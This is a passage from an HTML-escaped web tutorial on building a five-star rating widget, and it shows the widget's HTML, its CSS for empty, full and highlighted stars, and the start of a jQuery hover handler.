&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;attribute&quot;&gt;id&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;r1&quot;&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;attribute&quot;&gt;class&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;rate_widget&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;attribute&quot;&gt;class&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;star_1&amp;nbsp;ratings_stars&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;attribute&quot;&gt;class&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;star_2&amp;nbsp;ratings_stars&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;attribute&quot;&gt;class&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;star_3&amp;nbsp;ratings_stars&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;attribute&quot;&gt;class&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;star_4&amp;nbsp;ratings_stars&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;attribute&quot;&gt;class&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;star_5&amp;nbsp;ratings_stars&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;attribute&quot;&gt;class&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;total_votes&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;vote&amp;nbsp;data&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;attribute&quot;&gt;class&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&#39;movie_choice&#39;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Rate:&amp;nbsp;The&amp;nbsp;Hunt&amp;nbsp;for&amp;nbsp;Red&amp;nbsp;October&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;attribute&quot;&gt;id&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;r2&quot;&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;attribute&quot;&gt;class&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;rate_widget&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;attribute&quot;&gt;class&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;star_1&amp;nbsp;ratings_stars&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;attribute&quot;&gt;class&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;star_2&amp;nbsp;ratings_stars&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;attribute&quot;&gt;class&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;star_3&amp;nbsp;ratings_stars&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;attribute&quot;&gt;class&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;star_4&amp;nbsp;ratings_stars&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;attribute&quot;&gt;class&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;star_5&amp;nbsp;ratings_stars&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;tag&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;attribute&quot;&gt;class&lt;/span&gt;=&lt;span class=&quot;attribute-value&quot;&gt;&quot;total_votes&quot;&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;vote&amp;nbsp;data&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&lt;span class=&quot;tag&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;tag-name&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;tag&quot;&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
Notice
 how there are no graphics in this HTML? They’ll be added with CSS. 
We’re just using the HTML to create the framework that the widget works 
from. Now it’s time to start adding CSS.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-css&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;.rate_widget&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;border&lt;/span&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;1px&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;solid&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;colors&quot;&gt;#CCC&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;overflow&lt;/span&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;visible&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;padding&lt;/span&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;10px&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;position&lt;/span&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;relative&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;width&lt;/span&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;180px&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;height&lt;/span&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;32px&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;.ratings_stars&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;background&lt;/span&gt;:&amp;nbsp;&lt;span class=&quot;string&quot;&gt;url&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&#39;star_empty.png&#39;&lt;/span&gt;)&amp;nbsp;&lt;span class=&quot;string&quot;&gt;no-repeat&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;float&lt;/span&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;left&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;height&lt;/span&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;28px&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;padding&lt;/span&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;2px&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;width&lt;/span&gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;string&quot;&gt;32px&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;.ratings_vote&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;background&lt;/span&gt;:&amp;nbsp;&lt;span class=&quot;string&quot;&gt;url&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&#39;star_full.png&#39;&lt;/span&gt;)&amp;nbsp;&lt;span class=&quot;string&quot;&gt;no-repeat&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;.ratings_over&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;background&lt;/span&gt;:&amp;nbsp;&lt;span class=&quot;string&quot;&gt;url&lt;/span&gt;(&lt;span class=&quot;string&quot;&gt;&#39;star_highlight.png&#39;&lt;/span&gt;)&amp;nbsp;&lt;span class=&quot;string&quot;&gt;no-repeat&lt;/span&gt;;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
This first part of the CSS accomplishes a few things:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Gives the default ‘empty’ start to each star location&lt;/li&gt;
&lt;li&gt;Sets up classes for filled in stars, and highlighted stars&lt;/li&gt;
&lt;li&gt;Defines and styles the stars’ container.&lt;/li&gt;
&lt;/ul&gt;
You
 can either use the graphics provided in the download, or make your own.
 There needs to be a graphic for each of the three states: empty, full, 
and highlighted.&lt;br /&gt;
Next we add a little more CSS to position the 
total votes box, and center the widgets so the page matches the graphic 
at the start of this section.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;ol class=&quot;dp-xml&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;.total_votes&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;background:&amp;nbsp;#eaeaea;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;top:&amp;nbsp;58px;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;left:&amp;nbsp;0;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;padding:&amp;nbsp;5px;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;position:&amp;nbsp;&amp;nbsp;&amp;nbsp;absolute;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;.movie_choice&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;font:&amp;nbsp;10px&amp;nbsp;verdana,&amp;nbsp;sans-serif;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;margin:&amp;nbsp;0&amp;nbsp;auto&amp;nbsp;40px&amp;nbsp;auto;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;width:&amp;nbsp;180px;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;}&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;hr /&gt;
&lt;h2&gt;
Step 2. Adding the UI Interactivity&lt;/h2&gt;
At this point, we have a very plain looking bunch of empty stars, but they don’t &lt;i&gt;do&lt;/i&gt; a whole lot at this point. This is where jQuery comes to the rescue.&lt;br /&gt;
&lt;div class=&quot;tutorial_image&quot;&gt;
&lt;img height=&quot;300&quot; src=&quot;http://d2o0t5hpnwv4c1.cloudfront.net/664_rating/02.png&quot; style=&quot;display: inline;&quot; width=&quot;600&quot; /&gt;&lt;/div&gt;
Our
 first step is to add mouseover and mouseout handlers for the stars. We 
need to highlight the star the mouse is over, and all the preceding 
stars.&lt;br /&gt;
&lt;div class=&quot;dp-highlighter&quot;&gt;
&lt;div class=&quot;bar&quot;&gt;
&lt;div class=&quot;tools&quot;&gt;
&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;view plain&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;copy to clipboard&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;print&lt;/a&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/building-a-5-star-rating-system-with-jquery-ajax-and-php/#&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ol class=&quot;dp-c&quot; start=&quot;1&quot;&gt;
&lt;li class=&quot;alt&quot;&gt;$(&lt;span class=&quot;string&quot;&gt;&#39;.ratings_stars&#39;&lt;/span&gt;).hover(&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;Handles&amp;nbsp;the&amp;nbsp;mouseover&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;()&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$(&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;).prevAll().andSelf().addClass(&lt;span class=&quot;string&quot;&gt;&#39;ratings_over&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$(&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;).nextAll().removeClass(&lt;span class=&quot;string&quot;&gt;&#39;ratings_vote&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;comment&quot;&gt;//&amp;nbsp;Handles&amp;nbsp;the&amp;nbsp;mouseout&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;keyword&quot;&gt;function&lt;/span&gt;()&amp;nbsp;{&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;alt&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$(&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;).prevAll().andSelf().removeClass(&lt;span class=&quot;string&quot;&gt;&#39;ratings_over&#39;&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li class=&quot;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;set_votes($(&lt;span class=&quot;keyword&quot;&gt;this&lt;/span&gt;).parent());&amp;nbsp;&amp;nbsp;&lt;/li&gt;
